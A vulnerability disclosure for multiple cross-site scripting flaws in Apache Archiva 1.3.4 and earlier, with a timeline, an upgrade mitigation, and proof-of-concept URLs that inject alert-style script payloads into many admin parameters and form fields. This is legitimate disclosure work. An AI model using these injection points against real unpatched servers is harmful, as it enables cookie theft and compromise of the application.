Apache Archiva 1.3.4 Cross Site Scripting

`Hi,  
  
This is regarding multiple XSS (Cross Site Scripting) Vulnerabilities in  
Apache Archiva 1.3.4 (and previous versions). The following is the  
disclosure document  
  
Project: Apache Archiva  
Severity: High  
Versions: 1.3.0 - 1.3.4. The unsupported versions Archiva 1.0 - 1.2.2  
are also affected.  
Exploit type: Multiple XSS  
Mitigation: Archiva 1.3.4 and earlier users should upgrade to 1.3.5  
Vendor URL: http://archiva.apache.org/security.html  
CVE: CVE-ID-2011-1077  
--------------------------------------------------------------------  
  
Timeline:  
28 February 2011: Vendor Contacted  
1 March 2011: Vendor Response received. CVE-2011-1026 for CSRF Issues  
Assigned.  
7 March 2011: CVE-2011-1077 Assigned for XSS Issues.  
14 March 2011: Fixes released to selected channels / Found to be  
insufficient  
27 May 2011: Vendor releases v1.3.5  
27 May 2011: Vendor releases security disclosure to Bugtraq and FD.  
30 May 2011: Exploit details released.  
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Product Description:  
Apache Archiva is an extensible repository management software that  
helps taking care of your own personal or enterprise-wide build artifact  
repository. It is the perfect companion for build tools such as Maven,  
Continuum, and ANT.  
  
Archiva offers several capabilities, amongst which remote repository  
proxying, security access management, build artifact storage, delivery,  
browsing, indexing and usage reporting, extensible scanning  
functionality... and many more!   
(Source: http://archiva.apache.org/)  
--------------------------------------------------------------------  
  
Vulnerability Details:  
User can insert HTML or execute arbitrary JavaScript code within the  
vulnerable application. The vulnerabilities arise due to insufficient  
input validation in multiple input fields throughout the application.  
Successful exploitation of these vulnerabilities could result in, but  
not limited to, compromise of the application, theft of   
cookie-based authentication credentials, arbitrary url redirection,  
disclosure or modification of sensitive data and phishing attacks.  
  
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Proof of Concept:  
Reflected XSS:  
http://127.0.0.1:8080/archiva/security/useredit.action?username=test%3Cs  
cript%3Ealert%28%27xss%27%29%3C/script%3E  
http://127.0.0.1:8080/archiva/security/roleedit.action?name=%22%3E%3Cscr  
ipt%3Ealert%28%27xss%27%29%3C%2Fscript%3E  
http://127.0.0.1:8080/archiva/security/userlist!show.action?roleName=tes  
t%3Cscript%3Ealert%28%27xss%27%29%3C/script%3E  
http://127.0.0.1:8080/archiva/deleteArtifact!doDelete.action?groupId=1<s  
cript>alert('xss')</script>&artifactId=1<script>alert('xss')</script>&ve  
rsion=1&repositoryId=internal  
http://127.0.0.1:8080/archiva/admin/addLegacyArtifactPath!commit.action?  
legacyArtifactPath.path=test%3Cscript%3Ealert%28%27xss%27%29%3C%2Fscript  
%3E&groupId=test%3Cscript%3Ealert%28%27xss%27%29%3C%2Fscript%3E&artifact  
Id=test%3Cscript%3Ealert%28%27xss%27%29%3C%2Fscript%3E&version=test%3Csc  
ript%3Ealert%28%27xss%27%29%3C%2Fscript%3E&classifier=test%3Cscript%3Eal  
ert%28%27xss%27%29%3C%2Fscript%3E&type=test%3Cscript%3Ealert%28%27xss%27  
%29%3C%2Fscript%3E  
http://127.0.0.1:8080/archiva/admin/deleteNetworkProxy!confirm.action?pr  
oxyid=test%3Cscript%3Ealert%28%27xss%27%29%3C/script%3E  
  
  
Persistant (Stored) XSS:  
Exploit code: test<script>alert('xss')</script>  
http://127.0.0.1:8080/archiva/admin/addRepository.action  
(Identifier:repository.id, Name:repository.name,  
Directory:repository.location, Index Directory:repository.indexDir)  
http://127.0.0.1:8080/archiva/admin/confirmDeleteRepository.action?repoi  
d=  
  
http://127.0.0.1:8080/archiva/admin/editAppearance.action  
(Name:organisationName, URL:organisation:URL, LogoURL:organisation:URL)  
http://127.0.0.1:8080/archiva/admin/configureAppearance.action  
  
http://127.0.0.1:8080/archiva/admin/addLegacyArtifactPath.action(Path:na  
me=legacyArtifactPath.path, GroupId:groupId, ArtifactId:artifactId,  
Version:version, Classifier:classifier, Type:type)  
http://127.0.0.1:8080/archiva/admin/legacyArtifactPath.action  
  
http://127.0.0.1:8080/archiva/admin/addNetworkProxy.action  
(Identifier:proxy.id, Protocol:proxy.protocol, Hostname:proxy.host,  
Port:proxy.port, Username:proxy.username)  
http://127.0.0.1:8080/archiva/admin/networkProxies.action  
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Warm Regards,  
Riyaz Ahemed Walikar || Senior Engineer - Professional Services  
Vulnerability Assessment & Penetration Testing  
Mobile: +91-98860-42242 || Extn: 5601  
  
  
  
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`